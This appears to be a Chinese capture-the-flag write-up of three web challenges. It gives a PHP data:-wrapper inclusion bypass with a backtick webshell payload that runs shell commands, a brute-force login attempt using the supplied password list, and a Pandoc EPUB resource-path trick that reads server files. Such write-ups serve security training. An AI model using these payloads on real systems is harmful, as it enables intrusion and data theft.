Signin
这道题考察的是 PHP 文件包含的绕过技巧。源码中过滤了 ['/', 'convert', 'base', 'text', 'plain'],但允许通过 GET 参数 file 进行文件包含(长度限制在 20 以内)。
利用 data:// 协议可以上传并包含代码,但由于 // 被拦截,可以使用短符号简写绕过。开启 short_open_tag=On 后,我们可以构造如下 Payload:
?file=data:,<?phpinfo(); ?>
为了进一步压缩 payload 长度以应对 20 字符限制,我们需要构建一句话木马。原本的 <?=eval($_GET[x]); 会超长,于是利用反引号作为 shell_exec() 的语法糖特性:
`$_GET[0]` === shell_exec($_GET[0])
最终 Payload 为:
?file=data:,<?=`$_GET[x]`;&x=cat /flag
执行后即可获取 Flag。

渗透测试
题目提供了一个登录框和一个密码附件,显然需要进行爆破。附件中包含两万个密码,Burp Suite 抓包发现上传参数经过加密,直接 Intruder 爆破不可行。
编写 Python 脚本模拟键盘输入逐个尝试用户名 admin。由于计算量较大,采用了多虚拟机并发运行,耗时约一晚跑出了正确密码:5V26s9dBZQVBZgyyVC00baeW。

Markdown2world
此题涉及 Pandoc 转换机制。系统仅允许上传 .md 或 .markdown 后缀文件,提示需研究不同文件格式的特性。
尝试模板注入时,template 和 reference-doc 关键字被过滤,PDF 也无法上传。转而利用 Pandoc 生成 EPUB 时的 "Resource Fetching" 特性,通过构造特殊资源路径实现类似文件包含的效果。
Payload 构造如下:
---
resource-path: ["/", "/tmp", "/home/ctf", "."]
---

上传后下载生成的文件,将后缀改为 .zip 解压即可在包内找到 Flag。


